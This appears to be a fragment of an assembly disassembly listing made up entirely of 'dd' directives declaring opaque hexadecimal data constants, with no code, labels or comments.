		dd 982C1B25h, 2F9D0364h, 8EDC24FDh, 0B0B09DD4h,	5B31ED1Eh
		dd 23A1E8F5h, 663AD92Fh, 0CABBB496h, 0EDF52714h, 601C6489h
		dd 1227D90h, 15980630h,	21036502h, 801024CEh, 0E660C327h
		dd 0A7FC5B95h, 30BEA0D2h, 0A7994E42h, 7BD8259Ah, 181A5991h
		dd 12D601BAh, 89CB83E1h, 5A33B96h, 263C0500h, 65D40F38h
		dd 47BF4500h, 92BB93EEh, 686A2502h, 0DF71857Dh,	0E1FBA6EFh
		dd 237B59ACh, 64CA0531h, 0BE8BCE80h, 7805C61Ah,	0C92D4686h
		dd 7FD86682h, 0A5F823D3h, 0EBAB02A1h, 0ACA3B982h, 4FB0F87Fh
		dd 20C3CD37h, 0DE9D2566h, 37447295h, 92EAF54Bh,	0EC7DDA43h
		dd 166067F7h, 125DA9C2h, 96AFD7Eh, 8B61BDF5h, 0D9C46E57h
		dd 48819C00h, 6CD383A9h, 125F9546h, 11DF1DFh, 0A4F8D291h
		dd 0D0C22A73h, 5F5B0208h, 1C6C8A7Eh, 91E29D41h,	50D3E57Dh
		dd 0FB00B422h, 6E1F889Fh, 0AAEBFE25h, 0F653FF94h, 4B2526F8h
		dd 0E3CDABA6h, 9FDE7F60h, 4544A994h, 81B51701h,	16A0A210h
		dd 6BEA366Dh, 461529E9h, 0E31A9018h, 529C1798h,	0D8741C65h
		dd 0BCBF6926h, 98C66C2Eh, 7EBA3C42h, 4ABF5850h,	1E15BC2Eh
		dd 0FFF43607h, 6E4419h,	0E2F58A48h, 367380EEh, 944ADE00h
		dd 791C9A1Fh, 49CC5C1Dh, 198AFB4Ah, 3E71E14Bh, 0EF93B5DBh
		dd 0E13A6640h, 220231Bh, 595DBBFBh, 10557D13h, 11C974Fh
		dd 848A2104h, 8E0212B1h, 295FEFEAh, 7D5A5509h, 31C7813Ch
		dd 8D293465h, 0BAFA902Eh, 7982190Fh, 0BEB300B7h, 0E09FA3F2h
		dd 0E85278B5h, 832C1D09h, 0D6F1873Ah, 855E251Eh, 61DB868Dh
		dd 5000ABE6h, 2DBB19B7h, 0F656FB61h, 7C260EC1h,	0F6C11BBAh
		dd 416FDE0Ah, 88520FEBh, 306140h, 0B3EF815Eh, 4D5B0390h
		dd 0A1219AB0h, 19A7AF5Dh, 8A1D09E1h, 0BB01EA19h, 5B2C8B4Fh
		dd 91B582ADh, 71FF12BDh, 0BCFE80B4h, 0E95EDA20h, 0F7ADA3BCh
		dd 67F8B680h, 609544C2h, 3998102Ch, 4D92CEEFh, 0F3A00228h
		dd 0A7F073E9h, 0A915390Fh, 53007DB6h, 0D01BE089h, 837200A7h
		dd 362662D2h, 0C400302Bh, 0A52D877Ch, 1DA0B0C2h, 0ED6A20Eh
		dd 720CA53h, 4502E9Eh, 0ABC67F0Ch, 0C0CE081Ch, 9E0FE921h
		dd 6000137h, 0A1940D60h, 0C0DA815Ch, 0A32ACAC0h, 101413Dh
		dd 0F8FCC4D9h, 6CE05AB9h, 467E85h, 89C611D2h, 0A4DC9B8Eh
		dd 0AA20C963h, 1960068Ah, 28626554h, 0B09820C8h, 2B205359h
		dd 0C6BB1318h, 182EA11h, 97430B9Fh, 984B5F7Ch, 0A21F609h
		dd 309F129Bh, 52C500FDh, 0B84BE494h, 0E032C23Fh, 88E12AD0h
		dd 7FC0009Bh, 616D6A75h, 0F93D7DA0h, 0D04780C5h, 33FE98D5h
		dd 0C868D95Bh, 0CC23076Fh, 98A16444h, 9F806011h, 87432309h
		dd 800F311h, 7E19F99h, 72003655h, 0A0E3DDFAh, 15A22B21h
		dd 9CDF18CCh, 0AFB76B00h, 0F8D1EE27h, 0BE7A540Eh, 0FA568060h
		dd 3B3F21h, 6E85406Fh, 1963E2E5h, 386420E9h, 0F2174D00h
		dd 87B6A182h, 1309CC9Bh, 55005821h, 8A898017h, 3CC127Eh
		dd 36BF211Ah, 5087ABFAh, 560AA3Ah, 0F25E5300h, 0A8491EC4h
		dd 4E9C00E3h, 0CCE51BEBh, 0FD72578Bh, 0B2F018E8h, 0D0D8EC2Ch
		dd 0E1241E00h, 0E827C7D5h, 0E921C1B8h, 0FC7CD8F4h, 16198311h
		dd 6B50D9B5h, 4DE43761h, 0A1186085h, 0B5D12E01h, 575320C2h
		dd 0F9E82C73h, 1746048Ch, 627982EFh, 4E47201Fh,	0B9003817h
		dd 40FF21E4h, 787A5693h, 7391932h, 0D763F026h, 6D1E3100h
		dd 1AF8EA4Ch, 1F5B3039h, 0E561ED20h, 0B37530Ch,	818899h
		dd 0C4964F25h, 0A875A4D0h, 8745313Bh, 6A03ED47h, 3AEE59A0h
		dd 252F0014h, 0B42CA6CCh, 0FB03A323h, 663EAB13h, 2A5EC07Eh
		dd 0FFA83CB6h, 0EBF11500h, 22D0DA3Ah, 1DE98600h, 3C298EBBh
		dd 23DC0039h, 0E8715A0Eh, 0D300FECCh, 5D059991h, 1F31E23Fh
		dd 0C07587A7h, 959CCEBAh, 0C301302Fh, 0DB376B3Eh, 0A6F87BC8h
		dd 1DF000A0h, 94056167h
		dd 1C0082C9h, 8EDB211Bh, 3C6A39DFh, 87001E0Ch, 30634D47h
		dd 0A604361Fh, 18FFD661h, 0BF248C0h, 70DCC70Dh,	0C7D4909Bh
		dd 9C042ECCh, 0AE88751h, 7E5411C0h, 15E21CAAh, 700940F9h
		dd 34C964CFh, 0FF04A700h, 0E90CFBD6h, 0E5C800DEh, 219C91DBh
		dd 130080AAh, 235412C3h, 640D9Bh, 0C84E2992h, 191A2A4Bh
		dd 6D64403h, 80CE7C61h,	3C897E67h, 28004303h, 1DB5A2F4h
		dd 0FE003F58h, 9B1B6ECFh, 0F0E7804Ah, 88300E5Bh, 0EF434D27h
		dd 0BEF1520Ch, 0F8F12014h, 72AD7A1Fh, 772D2EC0h, 3D166CDh
		dd 0D6BF12A3h, 0E6C822E9h, 9D00FAF2h, 0A7D26EE3h, 0DB2C2Eh
		dd 0DA1E47F7h, 0F152DD4Ah, 5387A8A0h, 15C21201h, 2768B4C7h
		dd 0D95FF4h, 0F07663FCh, 92DF9A96h, 4F9B71Dh, 0B1AA5907h
		dd 0DAF41380h, 7F37034Eh, 1FA9DD4Bh, 55905100h,	991453BCh
		dd 2AC7070Ch, 0A3931531h, 94F8C497h, 49138806h,	4F0035B8h
		dd 0BDB93358h, 537F03BCh, 36990EFh, 0C872A191h,	0D639ACC3h
		dd 0D7398504h, 0D830F9BDh, 2EB0199Eh, 24D306DFh, 1AB5002Bh
		dd 0C2C8F545h, 0FF0BC4A0h, 69763Eh, 282E85CDh, 5B5504h
		dd 4BA07739h, 0BF415264h, 47EFE900h, 48A6FB54h,	0E1AA0046h
		dd 0A435F812h, 0BB00DEF9h, 31D4C7C8h, 18EB1Eh, 62D3263Eh
		dd 5D5538B4h, 0C4233B00h, 4D9BCBBh, 83D43EB1h, 7F59DB80h
		dd 3301764h, 5EA6F200h,	76571C87h, 0CB10049h, 662CFB1Dh
		dd 35EC08DEh, 6200D372h, 931A70Bh, 0F3B690Ah, 41731CE7h
		dd 5DED5221h, 0A119C457h, 0DFEBCA00h, 5C228133h, 0A4772E04h
		dd 0E93D0124h, 4735E065h, 402104F4h, 5EBF5505h,	88563B17h
		dd 75E0EE00h, 6E1E347Bh, 9DE0D4E2h, 9162180Ch, 0E99804h
		dd 0DFF3024Ah, 0EF3A3077h, 50216801h, 0A3D9D813h, 1A62C20h
		dd 8DBAAD69h, 801C6095h, 0D48A0238h, 0CFE9FE8h,	203DE0B6h
		dd 0E1001BF8h, 2B2580CCh, 2EBB29h, 3E7E468Eh, 0D00D36ADh
		dd 2D510E07h, 248566C3h, 4ED82580h, 0B4EA0F74h,	0FD2041E1h
		dd 0FF92EF91h, 0F1FB5206h, 188EB35h, 739EDFE0h,	70C8338Ah
		dd 5D0316F6h, 23444A86h, 43981674h, 5A6A004Bh, 5B5C20Fh
		dd 70E1362Fh, 0EC56FEFDh, 4BBF0097h, 0FFA29135h, 0AF0E7273h
		dd 1E420AB1h, 0A8447EC7h, 0FE5E6E90h, 0C0A90045h, 6213ACEh
		dd 8C7434F6h, 12923D38h, 0DDF0FE26h, 0EFF8F0h, 0BF72A524h
		dd 6C273858h, 1D5C4000h, 1FE6CC60h, 0CDCCA8CEh,	0E7080090h
		dd 0EA9C802Ch, 7E00223Bh, 597B67B4h, 4E131h, 239706A9h
		dd 4275CAEDh, 4438FA02h, 0C2C924F6h, 0CCB4008Dh, 0FE83BCBEh
		dd 9DCB00C8h, 86AA4962h, 901F2FCEh, 6980E2E6h, 0B4F70F68h
		dd 0BBD79DAh, 1CDB0834h, 0EE4ED581h, 0F760E4F4h, 67821800h
		dd 2DA2B571h, 13D97539h, 1833EE1Eh, 4B461A50h, 36D46324h
		dd 29AF7300h, 777C9F51h, 52E714EEh, 3C9CA8A4h, 0DF5400C3h
		dd 0CD20523Dh, 6E385C2Dh, 0BF60D72Fh, 0B300928Ah, 91B918FDh
		dd 0B2BE741h, 0D2069709h, 32390420h, 0A318947Ch, 0B858BEC0h
		dd 0F410E01h, 0C0DDCC26h, 0B4AD9219h, 6C096887h, 21318278h
		dd 5B6D49B8h, 108036C5h, 0A27026ACh, 8B04A081h,	3287037Ah
		dd 13CBE4C0h, 4187A36h,	0EF1B2405h, 15F0D02Ah, 0E1243D41h
		dd 25806C81h, 0E4D659F2h, 0A519005Eh, 0FBB18BD4h, 5CF02E2Fh
		dd 0F5548802h, 0E043DDB6h, 4BCAD03h, 85A318B7h,	951C8391h
		dd 11031D98h, 7A05E007h, 0AE22315Ah, 555260B9h,	56950154h
		dd 444CDFDh, 182C209Ah,	47AEBE00h, 5EA59B06h, 0F14E0142h
		dd 0F8F66AE0h, 0B9D8EEB6h, 0EBD71200h, 0E1FA9493h, 39A002Ch
		dd 5BE7540h, 0F600EFE8h, 55AB024Fh, 9F132Eh, 277E9507h
		dd 0C39BC9B2h, 3F419600h, 0FBC58573h, 0F7F5005Eh, 575C1037h
		dd 45025055h, 705619D3h, 0BE5A608Ch, 2E9B00A5h,	4AAF7941h
		dd 460209DFh, 0BC048901h, 7C63E095h, 5BF201F3h,	0E3DA3718h
		dd 0FF40F533h, 0A11B9015h, 95D105B4h, 0E600A4D6h, 0D465F1ECh
		dd 36B50024h, 2E5D7463h, 0CA0040F8h, 8962471Eh,	0CED706h
		dd 0AF11BFC4h, 10A1D37Ch, 48D8B500h, 0C1DDB0A9h, 12E31DABh
		dd 14A7C087h, 67080F81h, 7FD20B64h, 987CD6C0h, 60033A12h
		dd 29F84F83h, 4EE868DBh, 0ECB00AD8h, 0E3B88807h, 0A9A04A0Ch
		dd 1C0398h, 0CA3805EDh,	68A1C03Ah, 2DCE7360h, 28EAD940h
		dd 16F2C24Eh, 40990DA2h, 0E7F5B8B4h, 0C424DA0Bh, 0B7876C92h
		dd 0C96036E4h, 98B824Ch, 617FC0A6h, 0AF375C00h,	0D1354A7h
		dd 1FAFCD25h, 28B7C208h, 85C0F86Eh, 231CFB76h, 0AA8077D0h
		dd 0A5ED7CD9h, 0F64900CEh, 0E047C033h, 9300CC5Bh, 8DF251ECh
		dd 48B3F4F9h, 9207644Fh, 40D1A34Ah, 1FA105C3h, 9C00289Ah
		dd 67E582CBh, 7497FB3Dh, 6F869017h, 181B2016h, 0C48191C0h
		dd 20998F31h, 2050A002h, 679782C2h, 4460187Fh, 9A1B075Dh
		dd 0A81F7800h, 92E083h,	13210DE6h, 7F308499h, 249A52h
		dd 0C7A32D18h, 3E831A9Ch, 98004B77h, 8110B86Dh,	22004336h
		dd 0E6EE9560h, 0E93DAEAh, 4CA4AF7Ah, 1C654983h,	977C8488h
		dd 0CB06BD00h, 62D4159Bh, 0E4163BBAh, 834A2000h, 787F4326h
		dd 1E712503h, 0A077F6D6h, 16FCE8AEh, 2BD0D4h, 89225932h
		dd 0D70E27A0h, 40633D30h, 26A50FA2h, 4BCC034Ah,	5F1107DCh
		dd 0C930C0EDh, 0A900B7EFh, 32DAE4AAh, 24FBD3FCh, 0E96E72h
		dd 0B663FF03h, 38030E7Fh, 14EF7C1Eh, 0F283A908h, 23992E8h
		dd 0D665CEF6h, 2368A40Bh, 195C8F47h, 0A11004Dh,	38D3992Fh
		dd 0D5890707h, 27A1CD69h, 3AB880B5h, 332AEA13h,	60FBC24h
		dd 207434AFh, 9776BB3Fh, 49BA0522h, 0D01A6A07h,	53173818h
		dd 0E9247405h, 66C037BBh, 0DE686Ch, 783D964Dh, 9FF9EC6Bh
		dd 0EEF3D018h, 92E9C958h, 525D0064h, 0D1A72A0Dh, 37006835h
		dd 0EB4A64B7h, 7C822EA9h, 0BA43C9Fh, 0B4B10BF4h, 60835541h
		dd 0A1C01D83h, 94748F45h, 7BD37703h, 0C0C2ED4Fh, 3E6C020Fh
		dd 0C98FCFE8h, 0A2007CAAh, 9FDD89D2h, 0F916DB01h, 8DC812B0h
		dd 87F28980h, 0E729B577h, 7140195Ch, 85AB6818h,	184B3021h
		dd 60945AE8h, 9624D117h, 77004C22h, 7544261Dh, 24697E52h
		dd 80441C9Bh, 9F5FABB1h, 1F02FD02h, 0E26186Dh, 649CA11Dh
		dd 0C623E32h, 499F0D00h, 0A160ED6h, 0E194A00Ch,	60324917h
		dd 2C54295Eh, 771F79A7h, 0B03A1EDFh, 0FC6F5884h, 2DAE0006h
		dd 22D26BEAh, 0F726F115h, 0C9004481h, 5BF56998h, 0A57700BEh
		dd 12CF4C9Dh, 18784F0Dh, 1BB5E000h, 0C265809Bh,	620E387Ah
		dd 0E7A01107h, 0E1863987h, 0D87D18E1h, 3B667C0Fh, 17DE9E0h
		dd 35F92A8Bh, 0C058B0E3h, 0C428D0CCh, 4C30734Ch, 0D3D18860h
		dd 54D7DE00h, 5280AE08h, 0E53007Fh, 0E4ABFD9Fh,	5D188328h
		dd 0D3064D4h, 28E264B5h, 0D66F2122h, 8D2670h, 524FFD5Dh
		dd 0E0340D6Eh, 5E4D2C06h, 86D10A84h, 0C004EC1Ch, 0D9FD6519h
		dd 980D0562h, 98F5E036h, 0B0A010C6h, 0C0D2E17Ch, 85218686h
		dd 1BB3425Ch, 51616000h, 366700FCh, 0E389B2EBh,	34304D04h
		dd 584F2019h, 8F8D3918h, 180308Ch, 430106F0h, 5498B1A3h
		dd 0B1800C83h, 0D0D57B04h, 7D07D325h, 9CF75561h, 0CBFA9740h
		dd 8351C6E0h, 48073159h, 0A3999E2Ah, 49655EC0h,	0C118C106h
		dd 0D613170Ah, 35D80140h, 79168030h, 2C0C6DBh, 9A1EAFA3h
		dd 0A082534Bh, 0D8235758h, 8087EA6Ah, 43908D98h, 92AD00C2h
		dd 0B4FC61Fh, 7571E57Ch
		dd 56A0D201h, 47675FF4h, 10B37982h, 24847A48h, 760C40C1h
		dd 35B8ED2h, 0AC3B14B2h, 0FDA078h, 0AFDBDABCh, 0CB54C980h
		dd 0BB18BAC4h, 50F035E5h, 9E990A54h, 1CBC22C0h,	0F5DEC30Dh
		dd 8A89DBFAh, 0A5C0800Ah, 27FED1B4h, 6F5424D4h,	8FE6007Ah
		dd 1FE3065Dh, 0C98AED06h, 76203F25h, 9F3E0A18h,	70208D09h
		dd 8CE358h, 0B1ACCDAFh,	4FBAD401h, 22A09660h, 30D167D6h
		dd 1190E27Fh, 0D7614C78h, 6D6FB1C8h, 9E6CF08Eh,	15C0244Ch
		dd 0D9ED5306h, 15785267h, 0EC04D236h, 0A24A0800h, 3F2BBAD3h
		dd 20DE7490h, 0E304F611h, 932570D6h, 39068640h,	971BBADAh
		dd 0E37890h, 0B2571876h, 0C3D66A1Ch, 5D8EC503h,	3C835FFh
		dd 0D44BF149h, 40D7D59Ch, 0BEFBBA69h, 0B9DC4701h, 72FD6BAEh
		dd 896DF180h, 8135DBD1h, 48780249h, 0D5E7091Ch,	6FDC2050h
		dd 0F2A3941Eh, 1390C17h, 2B0827CCh, 368D21C1h, 6C710794h
		dd 73A7CE0h, 0B0EBF3Bh,	0AEFEF386h, 0D0365CA0h,	0B1A13F60h
		dd 1A94B32h, 848CFB33h,	210B57E7h, 20ACDF8h, 809E61CFh
		dd 50E8422h, 0DA2013A5h, 220470C1h, 9B3C09C9h, 1263F904h
		dd 2DDBBD8h, 0C83FB48Dh, 88680BD4h, 50414B3h, 3BA8C522h
		dd 5CAD483h, 0B26ADAF1h, 25B003E1h, 6EF74A85h, 6488BA4Ah
		dd 941F60E6h, 8C0FF2B8h, 179010E7h, 0D1AF0094h,	0B17058DCh
		dd 0F19CD86h, 8E78414Fh, 9BAF2980h, 0CB35C073h,	224C8CA8h
		dd 57B90500h, 0CE5A94BDh, 0E9FCB1h, 19792569h, 4D607A26h
		dd 4F5340C1h, 98577D12h, 0D966ED80h, 80B401C0h,	908C59C7h
		dd 8030D1E4h, 0D99ECF21h, 60352231h, 9DC871E2h,	0B13CEEECh
		dd 1B4C1CE0h, 49C9B242h, 98944A35h, 35D9B430h, 6182D1Ah
		dd 0C921D520h, 8F9FFC00h, 0AB32ACC9h, 0CE9C007Ah, 94FDDD1Ah
		dd 23011E9Ah, 6BA3DE30h, 7820E567h, 125740CBh, 0BC10DA09h
		dd 64A800C9h, 0FA242202h, 0AED4A068h, 2A0C923Ah, 18F46067h
		dd 795FD446h, 1700708Dh, 69478BCh, 73D13533h, 0A4FC50EFh
		dd 24E0085h, 0C882A61Eh, 9CA734D9h, 0D5603FE4h,	2497116h
		dd 89488C20h, 6B6C02B1h, 7D19848Dh, 0A4287440h,	24A66180h
		dd 28E87130h, 5B733EB8h, 0D6C80F05h, 0B2A490F8h, 11500ED9h
		dd 883083ACh, 8E30780Ch, 461D24Eh, 1E13700h, 0F66588ACh
		dd 1AC99840h, 890C02A2h, 34FBA501h, 0F8003464h,	63654AFFh
		dd 3350E1E9h, 0D508199Bh, 0E746210Fh, 387C74Ah,	1F00828Bh
		dd 4FFB0744h, 7DA58D80h, 29059ECCh, 0D60C7F46h,	8704C892h
		dd 80888150h, 7EAC05AFh, 61C0EF34h, 24D38AD1h, 40A200E7h
		dd 0B37933D0h, 25143B95h, 228034C5h, 36C881B5h,	0D9046218h
		dd 0E460B4FCh, 3101F933h, 0A0D99ACBh, 0F8E03E89h, 0A3E7097Dh
		dd 4810D4C5h, 0B1074DBEh, 49A62A8Fh, 0BD878079h, 0AD77A3h
		dd 59350709h, 73CC9FEDh, 305A5624h, 0AC0F6211h,	5880CF7Dh
		dd 53845FFAh, 26BA19DEh, 0A2C04862h, 46DA1C13h,	72D22B9h
		dd 8E13FA14h, 59BE22EAh, 0C1BDDC82h, 68080009h,	1E097912h
		dd 0D2A1B2E8h, 13000410h, 331481C0h, 9813C3B0h,	883E0DDCh
		dd 5F022823h, 0C087EFB6h, 82575450h, 0F8E55487h, 81A52F08h
		dd 0B6A1946Ch, 7488A80Eh, 0FD5B850Ch, 8B33283Bh, 98FF44FFh
		dd 4A08C334h, 0C4C96369h, 0EB2240D3h, 14574Ah, 0A97AD932h
		dd 0EEA87834h, 0B46084A2h, 84B0356Bh, 0F0ABC4FCh, 514AA0B9h
		dd 49A2B088h, 0CF45D8CCh, 2A3438C5h, 0B87C4854h, 54008CD1h
		dd 0FFC88FBEh, 29FE7756h, 0D97019C4h, 702118D0h, 1DF7A38h
		dd 0E366D6Ch, 2F1CF218h, 0E1A7B0h, 8CD7FFCBh, 0A79E6A83h
		dd 5D8D8601h, 0D4E5D988h, 39E807F7h, 6170AEF0h,	7ED4580h
		dd 0D497AD20h, 5B2B0053h, 9884177Dh, 77039401h,	0C9C1884Bh
		dd 6F400622h, 58D3EAAEh, 8438E4B0h, 4702007Ah, 89CDD0EDh
		dd 3C324C53h, 50A1D911h, 7F8C09BCh, 0B4C1116Bh,	80E28868h
		dd 1DD963CAh, 98044947h, 0DFD41E34h, 0D1ED6C81h, 0FCB2D800h
		dd 854C84Dh, 0AF83DB0h,	0A89807C7h, 7813F22Ch, 0BA2F2EE8h
		dd 25465E34h, 0DABB313Bh, 10744700h, 0AEC2CD46h, 0BD02E4E8h
		dd 344DB1F3h, 0DC4C20E1h, 4B02EC6Ch, 0A0B2A7C9h, 96B04097h
		dd 0D3D925EBh, 0F2884437h, 2E934802h, 20847E44h, 20E37F23h
		dd 11546CCh, 0B4C5C4AFh, 0F80CC788h, 67CE88h, 9CA369D9h
		dd 527EF77Fh, 0DB4D6804h, 28B4ED32h, 16E50051h,	765670D4h
		dd 1807091Fh, 0B361BDFCh, 78FC6C67h, 69048C17h,	0B8B4C3D9h
		dd 0C020F962h, 2ED961h,	4D31F4C1h, 760F15D0h, 6A09AC7Bh
		dd 633680EBh, 95100BCh,	0EE16DA17h, 88EAE5ACh, 0E8D65924h
		dd 5D00CB91h, 0FCFDC53Dh, 0BA00B345h, 0DD1B6583h, 555ED37h
		dd 20DBA0DAh, 41D00972h, 981D2CC2h, 5B80E211h, 958F7A38h
		dd 0C6E1111Dh, 0AF413A98h, 9351250Dh, 0FF2461F0h, 4600E2D9h
		dd 0C4A97084h, 45660282h, 0F8FD8098h, 148470ABh, 941061F5h
		dd 3127CAF7h, 88F1026h,	839D0094h, 0C1060485h, 0C9028EDh
		dd 0FD464490h, 674A087Dh, 0F4C41963h, 4AF55840h, 440F6C3Ch
		dd 83EBDBAFh, 5DF9D1B0h, 0AFB8E8A0h, 662DEF00h,	0DF2519A6h
		dd 5AD51FE4h, 26D8A642h, 524E0348h, 10060912h, 0F73A4DACh
		dd 857400BEh, 0C0B5F37h, 0E700B1F1h, 93D7A73Dh,	16AC7Dh
		dd 3EEB3BDFh, 8C3CE1C0h, 22644300h, 9F5975CFh, 0F848079Dh
		dd 0F7E04BCEh, 9EF280CBh, 2F1E49B0h, 3AD0C0h, 0C8481EF7h
		dd 72D31Dh, 0A08EAC96h,	22251F5Ch, 0E61A3001h, 0B09C5A69h
		dd 8CC4AED9h, 0F3FC0C7Ah, 0FA28A3CFh, 159D9300h, 35E72E14h
		dd 41A21EA6h, 461CC380h, 3000944Bh, 0B05AE91Dh,	3B525CC8h
		dd 0C33010C5h, 7BADAC90h, 2C1ED601h, 95C8995Dh,	9A36A981h
		dd 0C4F46B65h, 210038F5h, 0BF2A596Eh, 3004E89Bh, 1358F808h
		dd 55004D6Fh, 79D7B590h, 1E377BB9h, 804414E5h, 0C38A8B93h
		dd 35FCCA49h, 0F9A9A700h, 0A23DDC09h, 427D009Ch, 4013DAF0h
		dd 2930B7F4h, 8E1C8197h, 0C0A963C3h, 0B10FB635h, 227286CCh
		dd 0E07802EEh, 3DF4389h, 0F442C874h, 9E80AEE7h,	93120DB1h
		dd 0EAD801h, 1D60D3A0h,	200F144h, 8EE45E7h, 122DA83h, 0C5D1BDB2h
		dd 0BE88621Ch, 2044B008h, 0F622D2A2h, 0C0DA386Dh, 41193730h
		dd 0BE1D06EAh, 9DCBB767h, 49C40010h, 88E604h, 6D4522D6h
		dd 0CC0579E2h, 0A7003BE4h, 0BA319684h, 306024h,	0E3081ACAh
		dd 0A9493F45h, 12394B3Eh, 0D4030E38h, 0D8068D9Ah, 7D2C45E2h
		dd 0F757140Bh, 0C7369FA5h, 0E3008950h, 0CE7B00Ah, 180B1B6Dh
		dd 20306629h, 0B318E0F2h, 6529499Ah, 43A10083h,	0E7C16D0Dh
		dd 0FE74A4C2h, 0CC219D60h, 25A196h, 0CB68D107h,	0F47B58Ah
		dd 89E558C1h, 0AF07C1BEh, 6A84E383h, 0D6E282E0h, 0C81C3930h
		dd 73CEE8EEh, 1E971F08h, 0A68D8768h, 21B84F69h,	830F621h
		dd 0D8B2828Bh, 60516147h, 0E0F923A8h, 0A50316D3h, 1FE00D5Fh
		dd 8400BD9Ch, 769F4ABFh, 24E30010h, 0C1EDCCA7h,	9C006FB1h
		dd 521B623Bh, 6C256Ah, 0FCB0B40Bh, 93D12098h, 0E600CA71h
		dd 0B52E5299h, 26A4AAFh, 0C122A873h, 0E1C03D09h, 3000B3C6h
		dd 94CE5271h, 5E26F6h, 8ADCAF47h, 557FFBE8h, 809FFA3Bh
		dd 6F65F967h, 0E86E7E34h, 0C5DF0002h, 2F4EE6A1h, 0D90124E2h
		dd 12EA4826h, 0BD21CBBEh, 0A59ECC86h, 4500906Eh, 0AA105EA1h
		dd 30A728h, 791C38CCh, 6CB040F5h, 0BF488095h, 0CB0B76h
		dd 15F66B9Fh
		dd 12ADEDBCh, 40E89300h, 0D37278E6h, 98A028B4h,	5A5F0FECh
		dd 7F80E7A6h, 8516442Ch, 5810FB6Ch, 0EF88003Fh,	2311FF32h
		dd 1F609F91h, 7809E618h, 0DAB00D1h, 35F64363h, 7F00D45Ah
		dd 0EBB7251Bh, 1875E6h,	541A1D51h, 0D89B9596h, 7211FD00h
		dd 9D07D370h, 22997C31h, 4807E82Bh, 96CA6054h, 910BADE1h
		dd 310F9A00h, 51C1C8D9h, 0A0E7EC4h, 0B1201682h,	24B9000Ch
		dd 6A19DCCDh, 109F6107h, 53139DC4h, 0B3481C93h,	67B98090h
		dd 5A21241h, 0B815400Ch, 303A41D2h, 1F8E493h, 0E3009555h
		dd 0BDDB2EDAh, 15189B5h, 0AA940C8Ch, 50037BF9h,	0C828FCBCh
		dd 85A7C000h, 124717C9h, 29E8C03Ah, 0F0A54002h,	366FCC00h
		dd 0C8F2D7B2h, 23590081h, 0C4DE3BA0h, 8C004824h, 3797FD92h
		dd 747C072Bh, 77F700ECh, 0ACB543CCh, 1A196F96h,	36097150h
		dd 1B2C2181h, 0C05928B5h, 0F200E2E0h, 655CF4Dh,	0DFEBC57h
		dd 49CE1BF1h, 0EA24E851h, 5DD73D03h, 32EEFA4Fh,	0B7216209h
		dd 8AFB4B60h, 0F30013E4h, 0F9728467h, 3FC97AAh,	2EB943E9h
		dd 0AFF0558Fh, 38C06F80h, 6E267A74h, 96B70ED0h,	0B6879184h
		dd 2DC0B02Eh, 5503CDD1h, 0D978D6ECh, 0E86873F1h, 44CA41Ah
		dd 0D73CEA27h, 22646235h, 97607C88h, 0CB07A3C5h, 0AE4BFF9Ah
		dd 286777B1h, 2B028440h, 49CAC0Eh, 96ADB546h, 2EE96267h
		dd 0CB51E60h, 2AC02E4Ah, 94255296h, 0FA300103h,	6A8111C7h
		dd 5488D017h, 4F1DF401h, 0DE85C06Fh, 28F3D080h,	5123B033h
		dd 0CCAC2418h, 296CAF38h, 0D1BC11EBh, 30CE1863h, 66A1F07Ch
		dd 0A80078BBh, 0BD05B66Fh, 36C825Fh, 33B48C3Eh,	11F872B1h
		dd 4614E877h, 1080516Dh, 59C07FC9h, 0BF96AAB5h,	2D221B43h
		dd 0B5112600h, 6FE374Dh, 139419F2h, 1858B8A2h, 36EA0829h
		dd 6FC4A5D7h, 0EA7EAE40h, 270E6392h, 66D71C52h,	9812BCh
		dd 16647481h, 9CD3F3E6h, 24A49788h, 1E246AADh, 19EB59F6h
		dd 7855F099h, 3F2C7A80h, 0C7BCB516h, 0EC202A30h, 9003E4Bh
		dd 0B03B5029h, 0CC38A8EDh, 6B210308h, 0F0090600h, 6EBDA94Bh
		dd 0F0197CABh, 0D16C60ACh, 784C2774h, 94243B7Bh, 0F44468h
		dd 0E2E1D1A4h, 0ED9679Eh, 0D4765407h, 587AF7B2h, 27093C40h
		dd 0B3CB2150h, 6D0E8091h, 740008C4h, 549E40AEh,	0FCDE5603h
		dd 0D0C9DD53h, 0CE78CC2Dh, 0C4016D79h, 0D01992DCh, 2A004130h
		dd 0C6EEC79Fh, 0C892E5Bh, 8679D694h, 0FBB0D231h, 0A3C43350h
		dd 0A60071DFh, 0BB966E0Fh, 74D40A25h, 5EF8F357h, 1D286146h
		dd 0CD4203CDh, 5528886h, 8041EFEAh, 6FBDDCD2h, 54E87F0Eh
		dd 997876Dh, 0AA48CFC0h, 141FFA02h, 0F46781ACh,	0AE1D1200h
		dd 0E81EF531h, 0C9AD9B00h, 0BB2C2FA8h, 25553ADBh, 0D0409936h
		dd 58C073E4h, 0B6C9B172h, 356A072Ch, 0F0C6EB97h, 55CC1962h
		dd 9C5C990Ch, 13E4605Ah, 4CC51Ah, 6AEA9788h, 573C65D0h
		dd 300C0ACEh, 3B808CEFh, 62B99C8Fh, 0B8301D6h, 0D4E2F450h
		dd 8A045A2h, 1C0A444h, 7E504009h, 0DF208623h, 0C96E01F4h
		dd 67D62608h, 0D5ACFC36h, 83905662h, 4D8060EBh,	33411849h
		dd 0A71781F6h, 6CC1AC00h, 742FCD9Dh, 0FF08CC95h, 0ACEA3421h
		dd 1B822501h, 0D1F17C08h, 0E5139C26h, 0BB81667h, 2D9E19h
		dd 0E28C2338h, 9B06303Bh, 0F429790Eh, 84A94A52h, 7C25E602h
		dd 1EF4853Fh, 3CCE40C3h, 0A9603318h, 0A04E661Ch, 0DB6C7B03h
		dd 7A647C53h, 5D200A31h, 2084AB74h, 26D4680h, 6F45ACA3h
		dd 0D6CE31FDh, 0ACDB3800h, 3F6D0C5Bh, 23403CF1h, 7BE05D18h
		dd 7E097250h, 0F56E0BB4h, 2E899D13h, 0AE83D600h, 35007179h
		dd 8D7B175h, 6084F4h, 0BA78F37Dh, 34EE4E2Eh, 0EC590D17h
		dd 8815AD06h, 61048F11h, 8033654Eh, 98DE8910h, 244331B1h
		dd 903A7h, 0D7E4E7E0h, 0A5006C71h, 4224A39h, 1F2F0779h
		dd 4005417Eh, 3E669F64h, 0CD0EAB8Bh, 80121B0Eh,	5528BF42h
		dd 90F307C0h, 20509535h, 5C3B9F20h, 0C265F90Eh,	2F67A0CAh
		dd 5DA5C4h, 0C189020Dh,	0DC05434Eh, 1C916B00h, 2DD966C0h
		dd 53E300D3h, 0C18785F0h, 3EC05CB3h, 11C43ABEh,	7CC200D5h
